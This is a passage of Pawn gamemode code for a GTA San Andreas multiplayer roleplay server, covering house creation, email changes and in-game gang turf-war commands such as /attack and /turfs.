		gheimath = 70000000;//house interior 19
		}
		if(numehouse == 20)
		{
		entx = 234.098831;
		enty = 1064.388549;
		entz = 1084.211303;
		inth = 6;
		lvlh = 15;
		gheimath = 80000000;//house interior 20
		}
		if(numehouse == 21)
		{
		entx = 2217.460449;
		enty = -1076.410522;
		entz = 1050.484375;
		inth = 1;
		lvlh = 8;
		gheimath = 15000000;//house interior 21
		}
		if(numehouse == 22)
		{
		entx = 2365.198974;
		enty = -1135.136596;
		entz = 1050.875000;
		inth = 8;
		lvlh = 6;
		gheimath = 40000000;//house interior 22
		}
		if(numehouse == 23)
		{
		entx = -42.693019;
		enty = 1406.028686;
		entz = 1084.429687;
		inth = 8;
		lvlh = 5;
		gheimath = 30000000;//house interior 23
		}
		if(numehouse == 24)
		{
		entx = 2285.795166;
		enty = -1137.499755;
		entz = 1050.898437;
		inth = 11;
		lvlh = 3;
		gheimath = 25000000;//house interior 24
		}
		if(numehouse == 25)
		{
		entx = 83.098403;
		enty = 1322.736083;
		entz = 1083.866210;
		inth = 9;
		lvlh = 12;
		gheimath = 45000000;//house interior 25
		}
		if(numehouse == 26)
		{
		entx = 260.850860;
		enty = 1238.124633;
		entz = 1084.257812;
		inth = 9;
		lvlh = 10;
		gheimath = 15000000;//house interior 26
		}
		if(numehouse == 27)
		{
		entx = 225.625717;
		enty = 1022.504638;
		entz = 1084.014648;
		inth = 7;
		lvlh = 15;
		gheimath = 90000000;
		}
	  new strlool[512];
	 //   new query5[256];
	//  mysql_tquery(handle, query5, "SendQuery", "");
		// format(strlool,512,"Houseid %i inja create shode!!\nDobare inja create nakonia!\ncreate kardi alio seda kon fast!",housescreated);
		CreateDynamic3DTextLabel(strlool, COLOR_JOB, pox,poy,poz, 12);
		new gheimatasli;
		gheimatasli = gheimath += gheimat;
		sqlid = housescreated;
		housescreated ++;
		worldh = sqlid;
		new query[512];
	mysql_format(handle, query, 512, "INSERT INTO `houses` (`hSQLID`,`hEntrancex`,`hEntrancey`,`hEntrancez`,`hExitx`,`hExity`,`hExitz`,`hOwner`,`hValue`,`hHel`,`hInt`,`hOwned`,`hRent`,`hRentabil`,`hTakings`,`hLevel`,`hWorld`,`hForosh`)VALUES ('%i','%f','%f','%f','%f','%f','%f','The State','%i','0','%i','1','0','0','0','0','%i','%i','0')",sqlid,entx,enty,entz,pox,poy,poz,gheimath,inth,lvlh,worldh);
		mysql_function_query(handle,query,false,"SendQuery","");
		SCM(playerid,COLOR_Orang,"House %i Created Price : %i!.",sqlid,gheimath);
		return 1;
		}
		*/
		if(!strcmp(cmd,"/changeemail",true))
		{
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		new email[150];
		email = strtok(cmdtext,idx);
		if(!strlen(email)) return SCM(playerid,COL_SYN,"Syntax: /changeemail <New Address>");
		if(strlen(email) >= 129) return SCM(playerid,COLOR_YELLOW2,"Error: Invalid email.");
		new aCount2,dotCount2,atCount2,numCount2;//by Sina :D
				for(new i = 0; i < strlen(email); i++)
				{
	switch(email[i])
		  {
			 case 0x30..0x39: numCount2++;
			 case 0x41..0x5A: aCount2++;
			 case 0x61..0x7A: aCount2++;
			 case '.': dotCount2++;
			 case '@': atCount2++;
		  }
	   }
			  if((numCount2 >= 1 || aCount2 >= 1) && (dotCount2 >= 1 && atCount2 == 1) && strlen(email) >= 5)
			  {
			  if(!IsValidMail(email))return Error(playerid, "Error: Invalid email.")
			  new strs[200];
			  mysql_real_escape_string(email, strs, handle, 200);
			  strmid(PlayerInfo[playerid][pEmail],strs,0,strlen(strs),128);
			  SaveKonStr(playerid, "pEmail", strs);
			  //SaveAccount(playerid);
			  new sttr[150];
			  format(sttr,150,"Your email address changed to %s",strs);
			  SCM(playerid,COLOR_SINA3,sttr);
			  }
			  else
			  {
			  SCM(playerid,COLOR_SINA3,"Invalid Email.");
			  }
			  return 1;
			  }
		if(!strcmp(cmd,"/wartime",true))
		{
		if(!IsAMemberC(playerid)) return SCM(playerid,COLOR_SINA3,"You are not in a family");
		if(OnWar[playerid] == 9999) return SCM(playerid,COLOR_SINA3,"You are not on war.");
		new strlol[512];

		new minbaghi,secbaghi,TurfTimerEx[50];
		TurfTimerEx[OnWar[playerid]] = TurfTime[OnWar[playerid]];
		new mem;
		if(PINFO[playerid][pLeader] != 0) mem = PINFO[playerid][pLeader];
		else mem = PINFO[playerid][pMember];
		if(mem == turfattacker[OnWar[playerid]])
		{
			for(new c = 0;c<100;c++)
			{
				if(TurfTimerEx[OnWar[playerid]] >= 60)
				{
					TurfTimerEx[OnWar[playerid]] -= 60;
					minbaghi ++;
					new minebaghi = minbaghi*60;
					secbaghi = TurfTime[OnWar[playerid]]-minebaghi;
				}
			}
			if(TurfTime[OnWar[playerid]] < 60) { minbaghi = 0; secbaghi = TurfTime[OnWar[playerid]]; }
			format(strlol,512,"[Turfs]: Times Deaths: %i,Times Kills: %i, score: %i,Time remaining: 00:%s%d:%s%d",PlayerInfo[playerid][pDeathW],PlayerInfo[playerid][pKillW],PlayerInfo[playerid][pKillW] - PlayerInfo[playerid][pDeathW],(minbaghi < 10) ? ("0") : (""),minbaghi,(secbaghi < 10) ? ("0") : (""),secbaghi);
			SCM(playerid,COLOR_JOB,strlol);


			new KA[512],DeaA[512],TRA[512],newtext[256];


			TextDrawShowForPlayer(playerid, WarBox);
			TextDrawShowForPlayer(playerid, WarA[OnWar[playerid]]);
			TextDrawShowForPlayer(playerid, WarVS);
			TextDrawShowForPlayer(playerid, WarD[OnWar[playerid]]);
			PlayerTextDrawShow(playerid, WarK[playerid]);
			PlayerTextDrawShow(playerid, WarDea[playerid]);
			PlayerTextDrawShow(playerid, WarS[playerid]);
			//PlayerTextDrawShow(playerid, WarT);
			TextDrawShowForPlayer(playerid, WarTR[OnWar[playerid]]);


			format(KA, sizeof(KA), "Kills: %d", PlayerInfo[playerid][pKillW]);
			PlayerTextDrawSetString(playerid, WarK[playerid], KA);

			format(DeaA, sizeof(DeaA), "Deaths: %d", PlayerInfo[playerid][pDeathW]);
			PlayerTextDrawSetString(playerid, WarDea[playerid], DeaA);

			format(newtext, sizeof(newtext), "Score: %d", PlayerInfo[playerid][pKillW] - PlayerInfo[playerid][pDeathW]);
			PlayerTextDrawSetString(playerid, WarS[playerid], newtext);

			format(TRA, sizeof(TRA),"Time Remaining: 00:%s%d:%s%d", (minbaghi < 10) ? ("0") : (""),minbaghi,(secbaghi < 10) ? ("0") : (""),secbaghi);
			TextDrawSetString(WarTR[OnWar[playerid]], TRA);


		}
		else if(mem == turfkhod[OnWar[playerid]])
		{
			for(new c = 0;c<100;c++)
			{
				if(TurfTimerEx[OnWar[playerid]] >= 60)
				{
					TurfTimerEx[OnWar[playerid]] -= 60;
					minbaghi ++;
					new minebaghi = minbaghi*60;
					secbaghi = TurfTime[OnWar[playerid]]-minebaghi;
				}
			}

			if(TurfTime[OnWar[playerid]] < 60) { minbaghi = 0; secbaghi = TurfTime[OnWar[playerid]]; }
			format(strlol,512,"[Turfs]: Times Deaths: %i,Times Kills: %i, score: %i,Time remaining: 00:%s%d:%s%d",PlayerInfo[playerid][pDeathW],PlayerInfo[playerid][pKillW],PlayerInfo[playerid][pKillW] - PlayerInfo[playerid][pDeathW],(minbaghi < 10) ? ("0") : (""),minbaghi,(secbaghi < 10) ? ("0") : (""),secbaghi);
			SCM(playerid,COLOR_JOB,strlol);


			new KA[512],DeaA[512],TRA[512],newtext[256];


			TextDrawShowForPlayer(playerid, WarBox);
			TextDrawShowForPlayer(playerid, WarA[OnWar[playerid]]);
			TextDrawShowForPlayer(playerid, WarVS);
			TextDrawShowForPlayer(playerid, WarD[OnWar[playerid]]);
			PlayerTextDrawShow(playerid, WarK[playerid]);
			PlayerTextDrawShow(playerid, WarDea[playerid]);
			PlayerTextDrawShow(playerid, WarS[playerid]);
			//PlayerTextDrawShow(playerid, WarT);
			TextDrawShowForPlayer(playerid, WarTR[OnWar[playerid]]);


			format(KA, sizeof(KA), "Kills: %d", PlayerInfo[playerid][pKillW]);
			PlayerTextDrawSetString(playerid, WarK[playerid], KA);

			format(DeaA, sizeof(DeaA), "Deaths: %d", PlayerInfo[playerid][pDeathW]);
			PlayerTextDrawSetString(playerid, WarDea[playerid], DeaA);

			format(newtext, sizeof(newtext), "Score: %d", PlayerInfo[playerid][pKillW] - PlayerInfo[playerid][pDeathW]);
			PlayerTextDrawSetString(playerid, WarS[playerid], newtext);

			format(TRA, sizeof(TRA),"Time Remaining: 00:%s%d:%s%d", (minbaghi < 10) ? ("0") : (""),minbaghi,(secbaghi < 10) ? ("0") : (""),secbaghi);
			TextDrawSetString(WarTR[OnWar[playerid]], TRA);

		}
		return 1;
	}
	if(!strcmp(cmd,"/warbox",true))
		{

		new minbaghi,secbaghi,TurfTimerEx[50];
		TurfTimerEx[OnWar[playerid]] = TurfTime[OnWar[playerid]];
		new mem;
		if(PINFO[playerid][pLeader] != 0) mem = PINFO[playerid][pLeader];
		else mem = PINFO[playerid][pMember];
		if(mem == turfattacker[OnWar[playerid]])
		{
			for(new c = 0;c<100;c++)
			{
				if(TurfTimerEx[OnWar[playerid]] >= 60)
				{
					TurfTimerEx[OnWar[playerid]] -= 60;
					minbaghi ++;
					new minebaghi = minbaghi*60;
					secbaghi = TurfTime[OnWar[playerid]]-minebaghi;
				}
			}
			if(TurfTime[OnWar[playerid]] < 60) { minbaghi = 0; secbaghi = TurfTime[OnWar[playerid]]; }
			
			TextDrawShowForPlayer(playerid, WarBox);
			TextDrawShowForPlayer(playerid, WarA[OnWar[playerid]]);
			TextDrawShowForPlayer(playerid, WarVS);
			TextDrawShowForPlayer(playerid, WarD[OnWar[playerid]]);
			PlayerTextDrawShow(playerid, WarK[playerid]);
			PlayerTextDrawShow(playerid, WarDea[playerid]);
			PlayerTextDrawShow(playerid, WarS[playerid]);
			//PlayerTextDrawShow(playerid, WarT);
			TextDrawShowForPlayer(playerid, WarTR[OnWar[playerid]]);

			new KA[512],DeaA[512],TRA[512],newtext[256];

			format(KA, sizeof(KA), "Kills: %d", PlayerInfo[playerid][pKillW]);
			PlayerTextDrawSetString(playerid, WarK[playerid], KA);

			format(DeaA, sizeof(DeaA), "Deaths: %d", PlayerInfo[playerid][pDeathW]);
			PlayerTextDrawSetString(playerid, WarDea[playerid], DeaA);

			format(newtext, sizeof(newtext), "Score: %d", PlayerInfo[playerid][pKillW] - PlayerInfo[playerid][pDeathW]);
			PlayerTextDrawSetString(playerid, WarS[playerid], newtext);

			format(TRA, sizeof(TRA),"Time Remaining: 00:%s%d:%s%d", (minbaghi < 10) ? ("0") : (""),minbaghi,(secbaghi < 10) ? ("0") : (""),secbaghi);
			TextDrawSetString(WarTR[OnWar[playerid]], TRA);


		}
		else if(mem == turfkhod[OnWar[playerid]])
		{
			for(new c = 0;c<100;c++)
			{
				if(TurfTimerEx[OnWar[playerid]] >= 60)
				{
					TurfTimerEx[OnWar[playerid]] -= 60;
					minbaghi ++;
					new minebaghi = minbaghi*60;
					secbaghi = TurfTime[OnWar[playerid]]-minebaghi;
				}
			}

			if(TurfTime[OnWar[playerid]] < 60) { minbaghi = 0; secbaghi = TurfTime[OnWar[playerid]]; }

			new KA[512],DeaA[512],TRA[512],newtext[256];



			TextDrawShowForPlayer(playerid, WarBox);
			TextDrawShowForPlayer(playerid, WarA[OnWar[playerid]]);
			TextDrawShowForPlayer(playerid, WarVS);
			TextDrawShowForPlayer(playerid, WarD[OnWar[playerid]]);
			PlayerTextDrawShow(playerid, WarK[playerid]);
			PlayerTextDrawShow(playerid, WarDea[playerid]);
			PlayerTextDrawShow(playerid, WarS[playerid]);
			//PlayerTextDrawShow(playerid, WarT);
			TextDrawShowForPlayer(playerid, WarTR[OnWar[playerid]]);

			format(KA, sizeof(KA), "Kills: %d", PlayerInfo[playerid][pKillW]);
			PlayerTextDrawSetString(playerid, WarK[playerid], KA);

			format(DeaA, sizeof(DeaA), "Deaths: %d", PlayerInfo[playerid][pDeathW]);
			PlayerTextDrawSetString(playerid, WarDea[playerid], DeaA);

			format(newtext, sizeof(newtext), "Score: %d", PlayerInfo[playerid][pKillW] - PlayerInfo[playerid][pDeathW]);
			PlayerTextDrawSetString(playerid, WarS[playerid], newtext);

			format(TRA, sizeof(TRA),"Time Remaining: 00:%s%d:%s%d", (minbaghi < 10) ? ("0") : (""),minbaghi,(secbaghi < 10) ? ("0") : (""),secbaghi);
			TextDrawSetString(WarTR[OnWar[playerid]], TRA);


		}
		return 1;
	}
	
	
	
	
	if(!strcmp(cmd,"/attack",true))
		{
			if(!IsAMemberC(playerid)) return SCM(playerid,COLOR_YELLOW2,"Error: You are not in a family");
			if(PlayerInfo[playerid][pRank] <= 3) return SCM(playerid,COLOR_YELLOW2,"Error: You must be rank +4 to attack a turf.");
			if(ServerTurf != 9999)  return SCM(playerid,COLOR_YELLOW2,"Error: A turf is under attack in server.");
			if(GetPlayerWantedLevel(playerid) >= 1) return SCM(playerid,COLOR_YELLOW2,"Error: You have wanted levels.");
			new famil;
			if(PlayerInfo[playerid][pLeader]) famil = PlayerInfo[playerid][pLeader];
			else famil = PlayerInfo[playerid][pMember];
			if(DynamicFactions[famil-1][fBank] < 2000) return SCM(playerid,COLOR_YELLOW2,"Error: You haven't 2,000$ in your HQ to attack");
			if(OnWar[playerid] != 9999) return SCM(playerid,COLOR_YELLOW2,"Error: You already attacked/defending a turf.");
			new turf = GetPlayerZone(playerid);
			if(turf == -1) return SCM(playerid,COLOR_YELLOW2,"Error: You are not in a turf.");
			if(GetFacIDFromName(TurfInfo[turf][zOwner])==famil) return SCM(playerid,COLOR_YELLOW2,"Error: You cannot attack your turf.");
			if(turfattacker[turf] != 9999) return SCM(playerid,COLOR_YELLOW2,"Error: This turf is already on attack.");
			new turfmembers;
			new rang;
			new familyname[32];
			GetFacNameEx(famil,familyname)
			/*for(new i = 0;i<Akharish;i++)
			{
				if(PINFO[i][pMember] == 5 || PINFO[i][pLeader] == 5)
				{
					new string[256];
					format(string,256,"%s","The Silence Mafia");
					strmid(familyname,string,0,strlen(string),256);
				}
				if(PINFO[i][pMember] == 6 || PINFO[i][pLeader] == 6)
				{
					new string[256];
					format(string,256,"%s","The Killers Family");
					strmid(familyname,string,0,strlen(string),256);
				}
				if(PINFO[i][pMember] == 12 || PINFO[i][pLeader] == 12)
				{
					new string[256];
					format(string,256,"%s","Dangerous Tiger Family");
					strmid(familyname,string,0,strlen(string),256);
				}
				if(PINFO[i][pMember] == 13 || PINFO[i][pLeader] == 13)
				{
					new string[256];
					format(string,256,"%s","Legendary Men Family");
					strmid(familyname,string,0,strlen(string),256);
				}
				if(PINFO[i][pMember] == 14 || PINFO[i][pLeader] == 14)
				{
					new string[256];
					format(string,256,"%s","Fast N Furious Family");
					strmid(familyname,string,0,strlen(string),256);
				}
				if(PINFO[i][pMember] == 15 || PINFO[i][pLeader] == 15)
				{
					new string[256];
					format(string,256,"%s","Storm Men Family");
					strmid(familyname,string,0,strlen(string),256);
				}
				if(PINFO[i][pMember] == 19 || PINFO[i][pLeader] == 19)
				{
					new string[256];
					format(string,256,"%s","TopBoys");
					strmid(familyname,string,0,strlen(string),256);
				}
			}*/
			new stringg[512];
			new familtaraf = famil;
			if(familtaraf == 5) rang = 0x5D7E8DAA;
			else if(familtaraf == 6) rang = 0x3E3535AA;
			else if(familtaraf == 12) rang = 0x19AF23AA;
			else if(familtaraf == 13) rang = 0xFFBA00AA;
			else if(familtaraf == 14) rang = 0x9900FFAA;
			else if(familtaraf == 15) rang = 0x00ECECAA;
			else if(familtaraf == 19) rang = 0x0E47FFAA;
			turfmembers=GetFacIDFromName(TurfInfo[turf][zOwner]);
			new tName[40];
			GetPlayerName(playerid,tName,40);
			for(new i = 0;i<Akharish;i++)
			{
				if(PlayerInfo[i][pMember] == turfmembers || PlayerInfo[i][pLeader] == turfmembers)
				{
					if(TurfShow[i] == 0) {
					OnPlayerCommandText(i, "/turfs");
					}
					OnWar[playerid] = turf;
					OnWar[i] = turf;
					GangZoneFlashForAll(Turfs[turf],rang);

					format(stringg,512,"[Turfs]: Turfid %i is attacked by %s (Attacker: %s) Time remaining: 00:30:00",TurfInfo[turf][zOwner],familyname,tName);
					SendMessage(i,COLOR_JOB,stringg);
					killsattacker[i] = 0;
					deathsattacker[i] = 0;
					killskhod[i] = 0;
					deathskhod[i] = 0;
					PlayerInfo[i][pDeathW] = 0;
					SaveKonVal(i, "pDeathW", PINFO[i][pDeathW]);

					PlayerInfo[i][pKillW] = 0;
					SaveKonVal(i, "pKillW", PINFO[i][pKillW]);

					OnWar[i] = turf;

					new AA[512],DE[512];
					format(AA, sizeof(AA), "%s", DynamicFactions[famil-1][fName]);
					TextDrawSetString(WarA[OnWar[i]], AA);

					format(DE, sizeof(DE), "%s", DynamicFactions[turfmembers-1][fName]);
					TextDrawSetString(WarD[OnWar[i]], DE);

					TextDrawShowForPlayer(i, WarBox);
					TextDrawShowForPlayer(i, WarA[OnWar[i]]);
					TextDrawShowForPlayer(i, WarVS);
					TextDrawShowForPlayer(i, WarD[OnWar[i]]);
					PlayerTextDrawShow(i, WarK[i]);
					PlayerTextDrawShow(i, WarDea[i]);
					PlayerTextDrawShow(i, WarS[i]);
					//PlayerTextDrawShow(i, WarT);
					TextDrawShowForPlayer(i, WarTR[OnWar[i]]);
				}
				if(PlayerInfo[i][pMember] == famil || PlayerInfo[i][pLeader] == famil)
				{
					if(TurfShow[i] == 0) {
					OnPlayerCommandText(i, "/turfs");
					}
					GangZoneFlashForPlayer(i,Turfs[turf],rang);

					OnWar[playerid] = turf;
					OnWar[i] = turf;

//					new stringg[512];
					format(stringg,512,"[Turfs]: Your family attacked Turfid: %i TurfOwner: %s Attacked By: %s Time remaining: 00:30:00",turf,TurfInfo[turf][zOwner],tName);
					SendMessage(i,COLOR_JOB,stringg);
					killsattacker[i] = 0;
					deathsattacker[i] = 0;
					killskhod[i] = 0;
					deathskhod[i] = 0;

					PlayerInfo[i][pDeathW] = 0;
					SaveKonVal(i, "pDeathW", PINFO[i][pDeathW]);

					PlayerInfo[i][pKillW] = 0;
					SaveKonVal(i, "pKillW", PINFO[i][pKillW]);
					OnWar[i] = turf;



					new AA[512],DE[512];
					format(AA, sizeof(AA), "%s", DynamicFactions[famil-1][fName]);
					TextDrawSetString(WarA[OnWar[i]], AA);

					format(DE, sizeof(DE), "%s", DynamicFactions[turfmembers-1][fName]);
					TextDrawSetString(WarD[OnWar[i]], DE);

					TextDrawShowForPlayer(i, WarBox);
					TextDrawShowForPlayer(i, WarA[OnWar[i]]);
					TextDrawShowForPlayer(i, WarVS);
					TextDrawShowForPlayer(i, WarD[OnWar[i]]);
					PlayerTextDrawShow(i, WarK[i]);
					PlayerTextDrawShow(i, WarDea[i]);
					PlayerTextDrawShow(i, WarS[i]);
					//PlayerTextDrawShow(i, WarT);
					TextDrawShowForPlayer(i, WarTR[OnWar[i]]);

			}}
			turfattacker[turf] = famil;
			turfkhod[turf] = turfmembers;
			killsattackerturf[turf] = 0;
			deathsattackerturf[turf] = 0;
			AdminWarn(stringg);
			killskhodturf[turf] = 0;
			deathskhodturf[turf] = 0;
			scoreattacker[turf] = 0;
			scorekhod[turf] = 0;
			TurfTime[turf] = 1800;
			DynamicFactions[famil-1][fTurf] = turf;
			DynamicFactions[turfmembers-1][fTurf] = turf;

			SaveDynamicFactions(famil-1);
			SaveDynamicFactions(turfmembers-1);

			TurfInfo[turf][zAttacker] = famil;
			SaveTurfs(turf);
			return 1;

}
	

	  if(!strcmp(cmd,"/turfs",true))
		{
		if(TurfShow[playerid] == 0)
		{
		if(ClantShow[playerid] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: first hide clan turfs (/clanturfs).");
		TurfShow[playerid] = 1;
		SCM(playerid,COLOR_SINARANGNOT,"Turfs have been showed on your game map.");


		//for(new i = 0;i<sizeof(TurfInfo);i++)
		//{
			//GangZoneShowForPlayerBorders(playerid,Turfs[i],GetTurfOwnerColor(GetFacIDFromName(TurfInfo[i][zOwner])),TurfBorderID[i]);
		//}
		/*for(new i = 0;i<sizeof(AllTurfsGangZones);i++)
		{
            if(i==0||i==9||i==15||i==25||i==34||i==42||i==52||i==62||i==69||i==79||i==89||i==99||i==106||i==117||i==127||i==136||i==147||i==158||i==166||i==177||i==188||i==202||i==213||i==228||i==242||i==255
            ||i==270||i==285||i==297||i==312||i==327||i==340||i==350||i==364||i==377||i==389||i==403||i==417||i==428||i==442||i==456||i==468||i==477||i==490||i==502||i==513||i==526||i==539)
            {
            if(i==0){GangZoneShowForPlayer(playerid, Turfs[0], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[0][zOwner])));}
            if(i==9){GangZoneShowForPlayer(playerid, Turfs[1], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[1][zOwner])));}
            if(i==15){GangZoneShowForPlayer(playerid, Turfs[2], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[2][zOwner])));}
            if(i==25){GangZoneShowForPlayer(playerid, Turfs[3], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[3][zOwner])));}
            if(i==34){GangZoneShowForPlayer(playerid, Turfs[4], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[4][zOwner])));}
            if(i==42){GangZoneShowForPlayer(playerid, Turfs[5], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[5][zOwner])));}
            if(i==52){GangZoneShowForPlayer(playerid, Turfs[6], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[6][zOwner])));}
            if(i==62){GangZoneShowForPlayer(playerid, Turfs[7], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[7][zOwner])));}
            if(i==69){GangZoneShowForPlayer(playerid, Turfs[8], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[8][zOwner])));}
            if(i==79){GangZoneShowForPlayer(playerid, Turfs[9], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[9][zOwner])));}
            if(i==89){GangZoneShowForPlayer(playerid, Turfs[10], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[10][zOwner])));}
            if(i==99){GangZoneShowForPlayer(playerid, Turfs[11], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[11][zOwner])));}
            if(i==106){GangZoneShowForPlayer(playerid, Turfs[12], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[12][zOwner])));}
            if(i==117){GangZoneShowForPlayer(playerid, Turfs[13], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[13][zOwner])));}
            if(i==127){GangZoneShowForPlayer(playerid, Turfs[14], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[14][zOwner])));}
            if(i==136){GangZoneShowForPlayer(playerid, Turfs[15], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[15][zOwner])));}
            if(i==147){GangZoneShowForPlayer(playerid, Turfs[16], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[16][zOwner])));}
            if(i==158){GangZoneShowForPlayer(playerid, Turfs[17], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[17][zOwner])));}
            if(i==166){GangZoneShowForPlayer(playerid, Turfs[18], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[18][zOwner])));}
            if(i==177){GangZoneShowForPlayer(playerid, Turfs[19], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[19][zOwner])));}
            if(i==188){GangZoneShowForPlayer(playerid, Turfs[20], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[20][zOwner])));}
            if(i==202){GangZoneShowForPlayer(playerid, Turfs[21], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[21][zOwner])));}
            if(i==213){GangZoneShowForPlayer(playerid, Turfs[22], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[22][zOwner])));}
            if(i==228){GangZoneShowForPlayer(playerid, Turfs[23], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[23][zOwner])));}
            if(i==242){GangZoneShowForPlayer(playerid, Turfs[24], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[24][zOwner])));}
            if(i==255){GangZoneShowForPlayer(playerid, Turfs[25], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[25][zOwner])));}
            if(i==270){GangZoneShowForPlayer(playerid, Turfs[26], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[26][zOwner])));}
            if(i==285){GangZoneShowForPlayer(playerid, Turfs[27], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[27][zOwner])));}
            if(i==297){GangZoneShowForPlayer(playerid, Turfs[28], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[28][zOwner])));}
            if(i==312){GangZoneShowForPlayer(playerid, Turfs[29], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[29][zOwner])));}
            if(i==327){GangZoneShowForPlayer(playerid, Turfs[30], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[30][zOwner])));}
            if(i==340){GangZoneShowForPlayer(playerid, Turfs[31], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[31][zOwner])));}
            if(i==350){GangZoneShowForPlayer(playerid, Turfs[32], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[32][zOwner])));}
            if(i==364){GangZoneShowForPlayer(playerid, Turfs[33], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[33][zOwner])));}
            if(i==377){GangZoneShowForPlayer(playerid, Turfs[34], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[34][zOwner])));}
            if(i==389){GangZoneShowForPlayer(playerid, Turfs[35], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[35][zOwner])));}
            if(i==403){GangZoneShowForPlayer(playerid, Turfs[36], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[36][zOwner])));}
            if(i==417){GangZoneShowForPlayer(playerid, Turfs[37], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[37][zOwner])));}
            if(i==428){GangZoneShowForPlayer(playerid, Turfs[38], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[38][zOwner])));}
            if(i==442){GangZoneShowForPlayer(playerid, Turfs[39], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[39][zOwner])));}
            if(i==456){GangZoneShowForPlayer(playerid, Turfs[40], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[40][zOwner])));}
            if(i==468){GangZoneShowForPlayer(playerid, Turfs[41], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[41][zOwner])));}
            if(i==477){GangZoneShowForPlayer(playerid, Turfs[42], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[42][zOwner])));}
            if(i==490){GangZoneShowForPlayer(playerid, Turfs[43], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[43][zOwner])));}
            if(i==502){GangZoneShowForPlayer(playerid, Turfs[44], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[44][zOwner])));}
            if(i==513){GangZoneShowForPlayer(playerid, Turfs[45], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[45][zOwner])));}
            if(i==526){GangZoneShowForPlayer(playerid, Turfs[46], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[46][zOwner])));}
            if(i==539){GangZoneShowForPlayer(playerid, Turfs[47], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[47][zOwner])));}
            }
            else{GangZoneShowForPlayer(playerid,AllTurfsGangZones[i],0x000000AA);}
		}*/
		/*for(new i = 0;i<sizeof(AllTurfsGangZones);i++)
		{
            if(i==0||i==9||i==15||i==25||i==34||i==42||i==52||i==62||i==69||i==79||i==89||i==99||i==106||i==117||i==127||i==136||i==147||i==158||i==166||i==177||i==188||i==202||i==213||i==228||i==242||i==255
            ||i==270||i==285||i==297||i==312||i==327||i==340||i==350||i==364||i==377||i==389||i==403||i==417||i==428||i==442||i==456||i==468||i==477||i==490||i==502||i==513||i==526||i==539)
            {
            if(i==0){GangZoneShowForPlayer(playerid, AllTurfsGangZones[0], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[0][zOwner])));}
            if(i==9){GangZoneShowForPlayer(playerid, AllTurfsGangZones[9], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[1][zOwner])));}
            if(i==15){GangZoneShowForPlayer(playerid, AllTurfsGangZones[15], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[2][zOwner])));}
            if(i==25){GangZoneShowForPlayer(playerid, AllTurfsGangZones[25], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[3][zOwner])));}
            if(i==34){GangZoneShowForPlayer(playerid, AllTurfsGangZones[34], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[4][zOwner])));}
            if(i==42){GangZoneShowForPlayer(playerid, AllTurfsGangZones[42], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[5][zOwner])));}
            if(i==52){GangZoneShowForPlayer(playerid, AllTurfsGangZones[52], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[6][zOwner])));}
            if(i==62){GangZoneShowForPlayer(playerid, AllTurfsGangZones[62], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[7][zOwner])));}
            if(i==69){GangZoneShowForPlayer(playerid, AllTurfsGangZones[69], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[8][zOwner])));}
            if(i==79){GangZoneShowForPlayer(playerid, AllTurfsGangZones[79], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[9][zOwner])));}
            if(i==89){GangZoneShowForPlayer(playerid, AllTurfsGangZones[89], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[10][zOwner])));}
            if(i==99){GangZoneShowForPlayer(playerid, AllTurfsGangZones[99], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[11][zOwner])));}
